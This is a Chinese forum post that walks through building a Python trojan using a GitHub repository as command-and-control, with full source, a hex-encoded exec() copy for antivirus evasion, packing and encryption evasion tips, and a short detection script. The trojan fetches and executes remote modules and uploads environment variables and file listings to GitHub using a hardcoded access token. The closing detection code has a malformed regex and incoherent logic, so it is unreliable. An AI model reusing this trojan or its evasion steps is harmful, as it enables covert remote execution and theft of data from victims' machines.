|
免杀手段另辟蹊径!可轻松绕过近90%杀软【附带反制教程】众所周知,免杀技术一直是网络安全技术的一个重头戏
在日新月异的网络安攻防时代,各种木马免杀手法层出不穷,从单一特征码到复合特征码,杀软防御手段也从无主动防御到有主动防御,一直不断地在演变着。但很多木马免杀技术都只是停留在对特征码的混淆上,也就是代码绕过层面。
但是,传统的木马都是两点一线的远控,一个被控制端,一个远程控制端,高级一点的会构建一套大型的僵尸网络系统,其本质没有太大的变化,都是控制端和被控制端的直接传输。倘若我们能开发出一种新型木马,通过一个公认的合法网站或地址来进行shellcode传输,将shellcode放在合法站点上,把这个合法站点当成一个中转站。这样一来,木马主体在受害者机器上运行的程序就能省去很多很可能被检测的功能,直接下载运行这个shellcode即可,理论上可以避开很多杀软查杀
因此,我选择研究基于Github为传输媒介来开发一种新型木马,利用Github的开源性,合法性和在上面部署代码的灵活性来完成我的目标
本篇文章主要围绕如何编写以Github为传播媒介的木马,如何对其进行免杀,以及如何编写脚本来反制它展开
一:木马主体结构
#实验环境:
1.有一个自己的Github仓库或者本地搭建Gitlab
2.Windows系统,有Python3.8以上的环境
3.配置有pyinstaller工具
事前准备
我们需要以Github为木马传输的介质,所以我们需要在Github上创建一个仓库,并记录它的token
创建完后,使用本地命令连接Github(这个方法很多),执行以下命令:
- mkdir trojan
- cd trojan
- git init
- mkdir modules
- mkdir config
- mkdir data
- touch modules/.gitignore
- touch config/.gitignore
- touch data/.gitignore
- git add .
- git commit -m "test"
- git remote add origin 创建的存储库的地址
- git push -u origin main
复制代码
上述代码我们创建了modules,config,data三个文件夹
modules:用来存储我们执行命令获取系统信息的文件
config:用来存储木马配置文件
data:用来存储受害者执行木马后返回的结果
完成这些之后 我们要编写一些获取计算机系统信息的小脚本:
这里作为测试,我就写了environment.py和dirlister.py两个模块
environment.py:获取所有环境变量
import os
def run(**args):
print(" In environment module.")
return str(os.environ
dirlister.py:获取当前目录下所有文件
import os
def run(**args):
print(" In dirlister module.")
files = os.listdir(".")
return str(files)
最后别忘了自己上传到Github上
木马配置:在config目录下,新建一个abc.json
输入以下json格式即可,代表告诉木马去执行哪两个模块
[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]
木马主体程序
获取Github上木马文件内容
get_file_contents方法:主要是一个爬虫程序去获取Github上的文件
get_trojan_config方法:主要为了进行模块导入,判断是否在本地变量sys.modules里面(后面结合Python导入机制破解的模块)
def get_file_contents(path):
try:
url = 'https://github.com/tiancesec/test2/tree/master/'+path
re = requests.get(url)
print("[+] Read {} file success!".format(path))
return re.text
except:
print('[-] Read {} file fail!'.format(path))
return
def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config= json.loads(config_json)
result={"module" : "dirlister","module" : "environment"}
for task in result:
if result[task] not in sys.modules:
configured = True
print(result[task])
exec("import {}".format(result[task]))
return result
2.和Github建立初始通信,发送内容(这里输入自己的Token)
通过base64加密传输,最后用requests.put方法上传
def store_module_result(msg):
url = 'https://api.github.com/repos/tiancesec/test2/contents/{}_{}.data'.format(data_path,random.randint(1000,100000))
data = {
"message": "commit from INSOMNIA",
"content": str(base64.b64encode(msg.encode("utf-8")))[2:-1]
}
head = {
'Authorization': 'token 66666666'
}
data=json.dumps(data)
re = requests.put(url,headers=head,data=data)
return
3.Python模块导入机制破解
因为我们需要木马程序自己获取Github上的执行文件,导入到本地Python中执行,获取信息。但是我们写的脚本没法直接以import xxx的样子导入,所以要破解Python模块导入机制
Python的模块导入过程包含以下几个步骤:
搜索路径:Python会按照一定的顺序搜索模块所在的目录。搜索路径包括内置模块、sys.path列表中列出的目录和PYTHONPATH环境变量指定的目录。
编译字节码:如果找到了对应的模块文件,Python会将其编译为字节码形式,以提高执行效率。
创建模块对象:Python会创建一个模块对象,该对象会保存模块中定义的函数、类和变量等信息。
执行模块代码:Python会执行模块中的代码,从上到下逐行执行。模块中的全局变量和函数会被存储在模块对象中,供其他程序使用。
实现模块导入的原理涉及到Python解释器的内部机制和相关的语言特性。Python解释器会根据模块的名称和搜索路径来查找并加载对应的模块文件。模块文件可以是以.py为后缀的源代码文件,也可以是以.so或.pyd为后缀的二进制文件(例如C扩展模块)。
在导入模块时,Python会将模块的名称解析为一个对应的模块对象,并将该对象添加到当前命名空间中,以供程序使用。通过模块对象,我们可以访问和调用模块中定义的函数、类和变量等内容。
总而言之,Python模块导入机制是通过搜索路径来查找、编译和执行模块代码,然后创建模块对象并将其添加到当前命名空间中。这使得我们能够方便地组织和重用代码,提高开发效率。
既然已经知道了Python模块导入机制的基本原理。实际上,在破解这个机制上,可以通过自定义导入钩子(import hook)或修改sys.meta_path列表来改变模块导入的行为。这样就可以实现一些自定义的操作,比如加载加密模块、动态生成模块代码或者从非标准位置加载模块等。
另外,还可以使用imp模块中的函数来手动控制模块导入过程。例如,imp.load_source()函数可用于加载源代码模块,imp.load_compiled()函数可用编译模块等
完整代码:
class GitImporter(object):
def __init__(self):
self.current_module_code = ''
def find_module(self,fullname,path=None):
global configured
if configured:
configured =False
print(" Attempting to retrieve {}".format(fullname))
newnew_library = get_file_contents("modules/{}.py".format(fullname))
new_library=re.sub("false","False",newnew_library)
new_library=re.sub("null","None",new_library)
new_library=re.sub("true","True",new_library)
if new_library is not None:
self.current_module_code = new_library
return self
return None
def load_module(self,name):
module = types.ModuleType(name)
try:
exec(self.current_module_code)
except Exception as e:
print("执行失败:", str(e))
try:
sys.modules[name] = module
except Exception as f:
print("添加失败",str(f))
return module
其中因为python版本的原因,我将imp模块新建对象的操作换成了type.ModuleType(),并且由于网上获取的Github上payload信息和Python中某些关键词不一致,我进行了正则替换(比如null和None这种)
4.木马主体运行部分
通过module_runner模块,直接去Github上获取执行文件
在main主函数中,通过开启循环,将我们的模块名依次传入到module_runner中进行获取,最后将结果上传到Github中
def module_runner(module):
task_queue.put(1)
result1 = sys.modules[module].run()
task_queue.get()
store_module_result(result1)
return
def main():
sys.meta_path = [GitImporter()]
while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner,args=(config[task],))
t.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(1000,10000))
main()
完整代码:
import json
import base64
import sys
import time
import importlib
import random
import threading
import queue
import os
import re
import requests
import types
import logging
trojan_id = 'abc'
trojan_config = 'config/{}.json'.format(trojan_id)
data_path = "data/{}".format(trojan_id)
trojan_modules = []
configured = False
task_queue = queue.Queue()
def get_file_contents(path):
try:
url = 'https://github.com/tiancesec/test2/tree/master/'+path
re = requests.get(url)
print("[+] Read {} file success!".format(path))
return re.text
except:
print('[-] Read {} file fail!'.format(path))
return
def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config= json.loads(config_json)
result={"module" : "dirlister","module" : "environment"}
for task in result:
if result[task] not in sys.modules:
configured = True
print(result[task])
exec("import {}".format(result[task]))
return result
def store_module_result(msg):
url = 'https://api.github.com/repos/tiancesec/test2/contents/{}_{}.data'.format(data_path,random.randint(1000,100000))
data = {
"message": "commit from INSOMNIA",
"content": str(base64.b64encode(msg.encode("utf-8")))[2:-1]
}
head = {
'Authorization': 'token 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'
}
data=json.dumps(data)
re = requests.put(url,headers=head,data=data)
return
class GitImporter(object):
def __init__(self):
self.current_module_code = ''
def find_module(self,fullname,path=None):
global configured
if configured:
configured =False
print(" Attempting to retrieve {}".format(fullname))
newnew_library = get_file_contents("modules/{}.py".format(fullname))
new_library=re.sub("false","False",newnew_library)
new_library=re.sub("null","None",new_library)
new_library=re.sub("true","True",new_library)
if new_library is not None:
self.current_module_code = new_library
return self
return None
def load_module(self,name):
module = types.ModuleType(name)
try:
exec(self.current_module_code)
except Exception as e:
print("执行失败:", str(e))
try:
sys.modules[name] = module
except Exception as f:
print("添加失败",str(f))
return module
def module_runner(module):
task_queue.put(1)
result1 = sys.modules[module].run()
task_queue.get()
store_module_result(result1)
return
def main():
sys.meta_path = [GitImporter()]
while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner,args=(config[task],))
t.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(1000,10000))
main()
成功运行
二:木马免杀
为了方便后期shellcode加密顺便加强绕过概率,我先给木马主体统一进行16进制加密了
其中content中内容是木马主体内容经过16进制加密后的结果
后三句木马主要是对16进制加密的内容解密,并直接exec运行这个代码
#16进制编码后的木马
content='696d706f7274206a736f6e0a696d706f7274206261736536340a696d706f7274207379730a696d706f72742074696d650a696d706f727420696d706f72746c69620a696d706f72742072616e646f6d0a696d706f727420746872656164696e670a696d706f72742071756575650a696d706f7274206f730a696d706f72742072650a696d706f72742072657175657374730a696d706f72742074797065730a696d706f7274206c6f6767696e670a0a74726f6a616e5f6964203d2027616263270a0a74726f6a616e5f636f6e666967203d2027636f6e6669672f7b7d2e6a736f6e272e666f726d61742874726f6a616e5f6964290a646174615f70617468203d2022646174612f7b7d222e666f726d61742874726f6a616e5f6964290a74726f6a616e5f6d6f64756c6573203d205b5d0a0a636f6e66696775726564203d2046616c73650a7461736b5f7175657565203d2071756575652e517565756528290a7072696e74287479706528636f6e6669677572656429290a646566206765745f66696c655f636f6e74656e74732870617468293a0a202020207472793a0a202020202020202075726c203d202768747470733a2f2f6769746875622e636f6d2f7469616e63657365632f74657374322f747265652f6d61737465722f272b706174680a20202020202020207265203d2072657175657374732e6765742875726c290a20202020202020207072696e7428225b2b5d2052656164207b7d2066696c65207375636365737321222e666f726d6174287061746829290a202020202020202072657475726e2072652e746578740a202020206578636570743a0a20202020202020207072696e7428275b2d5d2052656164207b7d2066696c65206661696c21272e666f726d6174287061746829290a2020202072657475726e0a0a646566206765745f74726f6a616e5f636f6e66696728293a0a20202020676c6f62616c20636f6e666967757265640a20202020636f6e6669675f6a736f6e203d206765745f66696c655f636f6e74656e74732874726f6a616e5f636f6e666967290a20202020636f6e6669673d206a736f6e2e6c6f61647328636f6e6669675f6a736f6e290a202020200a20202020726573756c743d7b226d6f64756c6522203a20226469726c6973746572222c226d6f64756c6522203a2022656e7669726f6e6d656e74227d0a202020200a202020200a20202020666f72207461736b20696e20726573756c743a0a20202020202020200a2020202020202020696620726573756c745b7461736b5d206e6f7420696e207379732e6d6f64756c65733a0a202020202020202020202020636f6e66696775726564203d20547275650a2020202020202020202020207072696e7428726573756c745b7461736b5d290a202020202020202020202020657865632822696d706f7274207b7d222e666f726d617428726573756c745b7461736b5d29290a2020202020202020202020200a2020202072657475726e20726573756c740a0a6465662073746f72655f6d6f64756c655f726573756c74286d7367293a0a2020202075726c203d202768747470733a2f2f6170692e6769746875622e636f6d2f7265706f732f7469616e63657365632f74657374322f636f6e74656e74732f7b7d5f7b7d2e64617461272e666f726d617428646174615f706174682c72616e646f6d2e72616e64696e7428313030302c31303030303029290a2020202064617461203d207b0a2020202020202020226d657373616765223a2022636f6d6d69742066726f6d20494e534f4d4e4941222c0a202020202020202022636f6e74656e74223a20737472286261736536342e623634656e636f6465286d73672e656e636f646528227574662d38222929295b323a2d315d0a202020207d0a2020202068656164203d207b0a2020202020202027417574686f72697a6174696f6e273a2027746f6b656e206768705f6f6c5048344570356f436570523537544d7033456f635376654d577a307131434e663634270a202020207d0a20202020646174613d6a736f6e2e64756d70732864617461290a202020207265203d2072657175657374732e7075742875726c2c686561646572733d686561642c646174613d64617461290a2020202072657475726e0a0a636c61737320476974496d706f72746572286f626a656374293a0a20202020646566205f5f696e69745f5f2873656c66293a0a202020202020202073656c662e63757272656e745f6d6f64756c655f636f6465203d2027270a202020200a202020206465662066696e645f6d6f64756c652873656c662c66756c6c6e616d652c706174683d4e6f6e65293a0a2020202020202020676c6f62616c20636f6e666967757265640a2020202020202020696620636f6e666967757265643a0a202020202020202020202020636f6e66696775726564203d46616c73650a2020202020202020202020207072696e7428225b2a5d20417474656d7074696e6720746f207265747269657665207b7d222e666f726d61742866756c6c6e616d6529290a2020202020202020202020206e65776e65775f6c696272617279203d206765745f66696c655f636f6e74656e747328226d6f64756c65732f7b7d2e7079222e666f726d61742866756c6c6e616d6529290a2020202020202020202020200a2020202020202020202020200a2020202020202020202020206e65775f6c6962726172793d72652e737562282266616c7365222c2246616c7365222c6e65776e65775f6c696272617279290a2020202020202020202020206e65775f6c6962726172793d72652e73756228226e756c6c222c224e6f6e65222c6e65775f6c696272617279290a2020202020202020202020206e65775f6c6962726172793d72652e737562282274727565222c2254727565222c6e65775f6c696272617279290a2020202020202020202020200a202020202020202020200a2020202020202020202020206966206e65775f6c696272617279206973206e6f74204e6f6e653a0a2020202020202020202020202020202073656c662e63757272656e745f6d6f64756c655f636f6465203d206e65775f6c6962726172790a202020202020202020202020202020200a2020202020202020202020202020202072657475726e2073656c660a202020202020202072657475726e204e6f6e650a0a20202020646566206c6f61645f6d6f64756c652873656c662c6e616d65293a0a20202020202020206d6f64756c65203d2074797065732e4d6f64756c6554797065286e616d65290a20202020202020200a20202020202020207472793a0a2020202020202020202020200a202020202020202020202020657865632873656c662e63757272656e745f6d6f64756c655f636f6465290a20202020202020202020200a2020202020202020202020200a202020202020202065786365707420457863657074696f6e20617320653a0a2020202020202020202020207072696e7428226661696c20746f20657865637574653a222c20737472286529290a202020202020200a20202020202020207472793a0a2020202020202020202020207379732e6d6f64756c65735b6e616d655d203d206d6f64756c650a2020202020202020202020200a202020202020202065786365707420457863657074696f6e20617320663a0a2020202020202020202020207072696e7428226661696c20746f20616464222c737472286629290a20202020202020200a202020202020200a202020202020202072657475726e206d6f64756c650a0a646566206d6f64756c655f72756e6e6572286d6f64756c65293a0a202020207461736b5f71756575652e7075742831290a202020200a20202020726573756c7431203d207379732e6d6f64756c65735b6d6f64756c655d2e72756e28290a202020200a202020207461736b5f71756575652e67657428290a2020202073746f72655f6d6f64756c655f726573756c7428726573756c7431290a2020202072657475726e0a0a646566206d61696e28293a0a202020200a202020207379732e6d6574615f70617468203d205b476974496d706f7274657228295d0a202020207768696c6520547275653a0a20202020202020206966207461736b5f71756575652e656d70747928293a0a202020202020202020202020636f6e666967203d206765745f74726f6a616e5f636f6e66696728290a202020202020202020202020666f72207461736b20696e20636f6e6669673a0a2020202020202020202020202020202074203d20746872656164696e672e546872656164287461726765743d6d6f64756c655f72756e6e65722c617267733d28636f6e6669675b7461736b5d2c29290a20202020202020202020202020202020742e737461727428290a2020202020202020202020202020202074696d652e736c6565702872616e646f6d2e72616e64696e7428312c313029290a202020202020202074696d652e736c6565702872616e646f6d2e72616e64696e7428313030302c313030303029290a2020200a0a6d61696e28290a0a'
decoded_bytes = bytes.fromhex(content)
decoded_string = decoded_bytes.decode("utf-8")
exec(decoded_string)
使用Pyinstaller打包成exe
直接pyinstaller -F 文件名 即可
常用免杀操作:
加壳免杀
1.upx加壳免杀
2.VmProtect加壳免杀
后面总结反思了一下,加壳效果并不是很好,因为加壳之后的程序壳特征太明显,更加容易被检测
混淆加密免杀
常用免杀加密算法简介:
AES (Advanced Encryption Standard) 是一种对称加密算法,用于保护敏感数据的机密性。它是目前广泛使用的加密标准之一。AES 可以使用不同的密钥长度(128位、192位或256位)进行加密和解密操作。它采用分组密码的方式,将明文数据分成固定大小的块,然后对每个块进行相同的转换操作。
B85 是一种 Base85 编码格式,用于将二进制数据转换为可打印字符。它通过使用更大的字符集(85个字符)来比 Base64 更高效地编码数据。B85 编码通常用于数据传输、数据表示和文本存储等场景。它经常被用在文件格式或网络传输中,以确保数据的完整性和安全性。
RC4 是一种流密码算法,也属于对称加密算法。它使用一个变长的密钥(通常为 40 到 2048 位),并生成一个伪随机的密钥流。该密钥流与明文数据按位进行异或操作,从而实现加密和解密过程。RC4 算法简单且快速,被广泛应用于无线网络、安全通信协议和嵌入式设备等领域。
XOR(异或运算)是一种基本的逻辑运算,也可以用于简单加密。它将明文数据与密钥按位进行异或操作,生成密文数据。XOR 加密算法的特点是简单易实现,但安全性较低。它通常用于简单的数据混淆和轻量级的加密需求。
这些加密方法之间存在以下异同点:
对称性:AES、B85、RC4 和 XOR 都是对称加密算法,即加密和解密使用相同的密钥。
安全性:AES 是目前被广泛认可的高度安全的加密算法,RSA 和 RC4 的安全性相对较低。XOR 加密因为简单性而容易受到攻击。
使用场景:AES 通常用于保护敏感数据的机密性,B85 用于编码二进制数据,RC4 常用于无线网络和通信协议中,XOR 用于简单的数据混淆。
复杂性:AES 是一种复杂的加密算法,而 B85、RC4 和 XOR 算法相对较简单。
需要根据具体的应用场景和需求来选择合适的加密方法。在实际使用中,还需要考虑加密算法的安全性、效率和兼容性等因素。
AES+B85+XOR加密
2.AES+RC4+XOR加密
3.RC4+B85+XOR加密
4.XOR加密
所以,使用AES+XOR加密混淆免杀效果最佳
三:反制策略
木马反制查杀策略主要可以分为本地端测和流量检测两大块
本地端测:对木马运行时的行为进行分析,对本地日志进行记录
流量检测:对木马运行时,对外发送的流量进行捕获,匹配其中异常值
因为我这个木马程序本地也是获取Github上的内容并执行,相对来说,本地端测比较困难,所以我只打算采用流量检测
流量分析
第一次访问Github获取目标文件
{"payload":{"allShortcutsEnabled":false,"fileTree":{"config":{"items":[{"name":".gitignore","path":"config/.gitignore","contentType":"file"},{"name":"abc.json","path":"config/abc.json","contentType":"file"}],"totalCount":2},"":{"items":[{"name":"config","path":"config","contentType":"directory"},{"name":"data","path":"data","contentType":"directory"},{"name":"modules","path":"modules","contentType":"directory"}],"totalCount":3}},"fileTreeProcessingTime":6.796086,"foldersToFetch":[],"reducedMotionEnabled":null,"repo":{"id":663070360,"defaultBranch":"main","name":"test2","ownerLogin":"tiancesec","currentUserCanPush":false,"isFork":false,"isEmpty":false,"createdAt":"2023-07-06T13:41:43.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/74537176?v=4","public":true,"private":false,"isOrgOwned":false},"symbolsExpanded":false,"treeExpanded":true,"refInfo":{"name":"master","listCacheKey":"v0:1688651114.0","canEdit":false,"refType":"branch","currentOid":"a7dab571cd887d16c15e7e7cf30557bb4499fa39"},"path":"config/abc.json","currentUser":null,"blob":{"rawLines":["["," {"," \"module\" : \"dirlister\""," },"," {"," \"module\" : \"environment\""," }","]"],"stylingDirectives":[[],[],[{"start":8,"end":16,"cssClass":"pl-ent"},{"start":19,"end":30,"cssClass":"pl-s"},{"start":19,"end":20,"cssClass":"pl-pds"},{"start":29,"end":30,"cssClass":"pl-pds"}],[],[],[{"start":8,"end":16,"cssClass":"pl-ent"},{"start":19,"end":32,"cssClass":"pl-s"},{"start":19,"end":20,"cssClass":"pl-pds"},{"start":31,"end":32,"cssClass":"pl-pds"}],[],[],[]],"csv":null,"csvError":null,"dependabotInfo":{"showConfigurationBanner":false,"configFilePath":null,"networkDependabotPath":"/tiancesec/test2/network/updates","dismissConfigurationNoticePath":"/settings/dismiss-notice/dependabot_configuration_notice","configurationNoticeDismissed":null,"repoAlertsPath":"/tiancesec/test2/security/dependabot","repoSecurityAndAnalysisPath":"/tiancesec/test2/settings/security_analysis","repoOwnerIsOrg":false,"currentUserCanAdminRepo":false},"displayName":"abc.json","displayUrl":"https://github.com/tiancesec/test2/blob/master/config/abc.json?raw=true","headerInfo":{"blobSize":"94 Bytes","deleteInfo":{"deleteTooltip":"You must be signed in to make or propose changes"},"editInfo":{"editTooltip":"You must be signed in to make or propose changes"},"ghDesktopPath":"https://desktop.github.com","gitLfsPath":null,"onBranch":true,"shortPath":"6f96c50","siteNavLoginPath":"/login?return_to=https%3A%2F%2Fgithub.com%2Ftiancesec%2Ftest2%2Fblob%2Fmaster%2Fconfig%2Fabc.json","isCSV":false,"isRichtext":false,"toc":null,"lineInfo":{"truncatedLoc":"9","truncatedSloc":"8"},"mode":"file"},"image":false,"isCodeownersFile":null,"isPlain":false,"isValidLegacyIssueTemplate":false,"issueTemplateHelpUrl":"https://docs.github.com/articles/about-issue-and-pull-request-templates","issueTemplate":null,"discussionTemplate":null,"language":"JSON","languageID":174,"large":false,"loggedIn":false,"newDiscussionPath":"/tiancesec/test2/discussions/new","newIssuePath":"/tiancesec/test2/issues/new","planSupportInfo":{"repoIsFork":null,"repoOwnedByCurrentUser":null,"requestFullPath":"/tiancesec/test2/blob/master/config/abc.json","showFreeOrgGatedFeatureMessage":null,"showPlanSupportBanner":null,"upgradeDataAttributes":null,"upgradePath":null},"publishBannersInfo":{"dismissActionNoticePath":"/settings/dismiss-notice/publish_action_from_dockerfile","dismissStackNoticePath":"/settings/dismiss-notice/publish_stack_from_file","releasePath":"/tiancesec/test2/releases/new?marketplace=true","showPublishActionBanner":false,"showPublishStackBanner":false},"renderImageOrRaw":false,"richText":null,"renderedFileInfo":null,"shortPath":null,"tabSize":8,"topBannersInfo":{"overridingGlobalFundingFile":false,"globalPreferredFundingPath":null,"repoOwner":"tiancesec","repoName":"test2","showInvalidCitationWarning":false,"citationHelpUrl":"https://docs.github.com/en/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files","showDependabotConfigurationBanner":false,"actionsOnboardingTip":null},"truncated":false,"viewable":true,"workflowRedirectUrl":null,"symbols":{"timedOut":false,"notAnalyzed":true,"symbols":[]}},"copilotInfo":null,"csrf_tokens":{"/tiancesec/test2/branches":{"post":"18CT0P8rJvbPeWhQwO8Qv5ATCPnQRc-j-2tK5g2BIUUArTdAVokNXUM4Gp4kg457StU7GOgoKWS3W_BuSTTSNg"},"/repos/preferences":{"post":"CJlSOMeBV_Oa4fWeT6_HfRJgvHB_jSdE_orq2kWYYz23R8_1pYBV5nET5BE6obluTloZ5nBJHWn2seEI3FNkMg"}}},"title":"test2/config/abc.json at master · tiancesec/test2"}
第二次下载文件
{"payload":{"allShortcutsEnabled":false,"fileTree":{"modules":{"items":[{"name":".gitignore","path":"modules/.gitignore","contentType":"file"},{"name":"dirlister.py","path":"modules/dirlister.py","contentType":"file"},{"name":"environment.py","path":"modules/environment.py","contentType":"file"}],"totalCount":3},"":{"items":[{"name":"config","path":"config","contentType":"directory"},{"name":"data","path":"data","contentType":"directory"},{"name":"modules","path":"modules","contentType":"directory"}],"totalCount":3}},"fileTreeProcessingTime":10.860484999999999,"foldersToFetch":[],"reducedMotionEnabled":null,"repo":{"id":663070360,"defaultBranch":"main","name":"test2","ownerLogin":"tiancesec","currentUserCanPush":false,"isFork":false,"isEmpty":false,"createdAt":"2023-07-06T13:41:43.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/74537176?v=4","public":true,"private":false,"isOrgOwned":false},"refInfo":{"name":"master","listCacheKey":"v0:1688651114.0","canEdit":false,"refType":"branch","currentOid":"f8eb64ec5eb3217f935f26f05beeb759b6a1ed03"},"path":"modules/environment.py","currentUser":null,"blob":{"rawLines":["import os","","def run(**args):"," print \" In enviroment module.\""," return str(os.environ)"],"stylingDirectives":[[{"start":0,"end":6,"cssClass":"pl-k"},{"start":7,"end":9,"cssClass":"pl-s1"}],[],[{"start":0,"end":3,"cssClass":"pl-k"},{"start":4,"end":7,"cssClass":"pl-en"},{"start":8,"end":10,"cssClass":"pl-c1"},{"start":10,"end":14,"cssClass":"pl-s1"}],[{"start":4,"end":9,"cssClass":"pl-k"},{"start":10,"end":37,"cssClass":"pl-s"}],[{"start":4,"end":10,"cssClass":"pl-k"},{"start":11,"end":14,"cssClass":"pl-en"},{"start":15,"end":17,"cssClass":"pl-s1"},{"start":18,"end":25,"cssClass":"pl-s1"}],[]],"csv":null,"csvError":null,"dependabotInfo":{"showConfigurationBanner":false,"configFilePath":null,"networkDependabotPath":"/tiancesec/test2/network/updates","dismissConfigurationNoticePath":"/settings/dismiss-notice/dependabot_configuration_notice","configurationNoticeDismissed":null,"repoAlertsPath":"/tiancesec/test2/security/dependabot","repoSecurityAndAnalysisPath":"/tiancesec/test2/settings/security_analysis","repoOwnerIsOrg":false,"currentUserCanAdminRepo":false},"displayName":"environment.py","displayUrl":"https://github.com/tiancesec/test2/blob/master/modules/environment.py?raw=true","headerInfo":{"blobSize":"94 Bytes","deleteInfo":{"deleteTooltip":"You must be signed in to make or propose changes"},"editInfo":{"editTooltip":"You must be signed in to make or propose changes"},"ghDesktopPath":"https://desktop.github.com","gitLfsPath":null,"onBranch":true,"shortPath":"3f63eea","siteNavLoginPath":"/login?return_to=https%3A%2F%2Fgithub.com%2Ftiancesec%2Ftest2%2Fblob%2Fmaster%2Fmodules%2Fenvironment.py","isCSV":false,"isRichtext":false,"toc":null,"lineInfo":{"truncatedLoc":"6","truncatedSloc":"4"},"mode":"file"},"image":false,"isCodeownersFile":null,"isValidLegacyIssueTemplate":false,"issueTemplateHelpUrl":"https://docs.github.com/articles/about-issue-and-pull-request-templates","issueTemplate":null,"discussionTemplate":null,"language":"ython","large":false,"loggedIn":false,"newDiscussionPath":"/tiancesec/test2/discussions/new","newIssuePath":"/tiancesec/test2/issues/new","planSupportInfo":{"repoIsFork":null,"repoOwnedByCurrentUser":null,"requestFullPath":"/tiancesec/test2/blob/master/modules/environment.py","showFreeOrgGatedFeatureMessage":null,"showPlanSupportBanner":null,"upgradeDataAttributes":null,"upgradePath":null},"publishBannersInfo":{"dismissActionNoticePath":"/settings/dismiss-notice/publish_action_from_dockerfile","dismissStackNoticePath":"/settings/dismiss-notice/publish_stack_from_file","releasePath":"/tiancesec/test2/releases/new?marketplace=true","showPublishActionBanner":false,"showPublishStackBanner":false},"renderImageOrRaw":false,"richText":null,"renderedFileInfo":null,"tabSize":8,"topBannersInfo":{"overridingGlobalFundingFile":false,"globalPreferredFundingPath":null,"repoOwner":"tiancesec","repoName":"test2","showInvalidCitationWarning":false,"citationHelpUrl":"https://docs.github.com/en/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files","showDependabotConfigurationBanner":false,"actionsOnboardingTip":null},"truncated":false,"viewable":true,"workflowRedirectUrl":null,"symbols":{"timedOut":false,"notAnalyzed":false,"symbols":[{"name":"run","kind":"function","identStart":15,"identEnd":18,"extentStart":11,"extentEnd":92,"fullyQualifiedName":"run","identUtf16":{"start":{"lineNumber":2,"utf16Col":4},"end":{"lineNumber":2,"utf16Col":7}},"extentUtf16":{"start":{"lineNumber":2,"utf16Col":0},"end":{"lineNumber":4,"utf16Col":26}}}]}},"copilotAccessInfo":null,"csrf_tokens":{"/tiancesec/test2/branches":{"post":"zWuarszQA6w7ErufVVsuIWYWW9PG3zTZFYBb6B4c7QHETxTTIKnZ8DVw8khTMgXYb3oynaKisOxaajak-DF46Q"}}},"title":"test2/modules/environment.py at master · tiancesec/test2","locale":"en"}
2.确定代码逻辑
特征1:这种木马程序总是会访问Github,并从Github上下载东西,再把执行的结果发送到Github上。也就是说,对于Github的流量既有in又有out的,进出都有
特征2:这种木马都会下载python文件并执行,为了获取系统信息,都会执行系统命令。根据Python中执行系统命令的方法,可以构造正则进行匹配
所以我们的流量检测只用同时满足特征1和特征2即可
匹配特征1:既要访问Github又要向Github发送内容的流量
def check_network_traffic():
netstat_output = subprocess.check_output(['netstat', '-ano']).decode('utf-8')
github_traffic = re.findall(r'TCP\s+\S+:\d+\s+\S+\s+\S+:443\s+ESTABLISHED\s+(\d+)', netstat_output)
return github_traffic
匹配特征2:正则表达式的匹配
def check_keyword(file_path):
keyword_pattern = r'(?s|system)\s*\.\s*(??:system\s*\.\s*)?(?:call|popen|system))'
with open(file_path, 'r') as file:
file_content = file.read()
matches = re.findall(keyword_pattern, file_content)
return bool(matches)
结合特征1和特征2进行判断
def check_script_execution(github_traffic):
for pid in github_traffic:
process_path = subprocess.check_output(['wmic', 'process', 'WHERE', f'ProcessId={pid}', 'GET', 'ExecutablePath', '/VALUE']).decode('utf-8')
process_path = process_path.strip().split('=')[1]
if 'github.com' in process_path:
subprocess.call(['taskkill', '/F', '/PID', pid])
print("检测到程序自动执行了从Github下载的脚本,并向Github发送数据。进程已被终止。")
break
完整反制代码:
import os
import re
import subprocess
def check_network_traffic():
netstat_output = subprocess.check_output(['netstat', '-ano']).decode('utf-8')
github_traffic = re.findall(r'TCP\s+\S+:\d+\s+\S+\s+\S+:443\s+ESTABLISHED\s+(\d+)', netstat_output)
return github_traffic
def check_keyword(file_path):
keyword_pattern = r'(?s|system)\s*\.\s*(??:system\s*\.\s*)?(?:call|popen|system))'
with open(file_path, 'r') as file:
file_content = file.read()
matches = re.findall(keyword_pattern, file_content)
return bool(matches)
def check_script_execution(github_traffic):
for pid in github_traffic:
process_path = subprocess.check_output(['wmic', 'process', 'WHERE', f'ProcessId={pid}', 'GET', 'ExecutablePath', '/VALUE']).decode('utf-8')
process_path = process_path.strip().split('=')[1]
if 'github.com' in process_path:
subprocess.call(['taskkill', '/F', '/PID', pid])
print("检测到程序自动执行了从Github下载的脚本,并向Github发送数据。进程已被终止。")
break
if __name__ == '__main__':
github_traffic = check_network_traffic()
if github_traffic:
for root, dirs, files in os.walk('C:\Windows\System32'):
for file in files:
file_path = os.path.join(root, file)
if check_keyword(file_path):
check_script_execution(github_traffic)
break
成功运行
总结一下,本篇文章主要围绕针对以Github为传播媒介的木马攻击与检测展开。先讲了木马的原理,再讲了如何编写以及它的组成结构。接着再讲常用免杀手段的效果和加密技术,最后讲了流量分析和反制策略
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|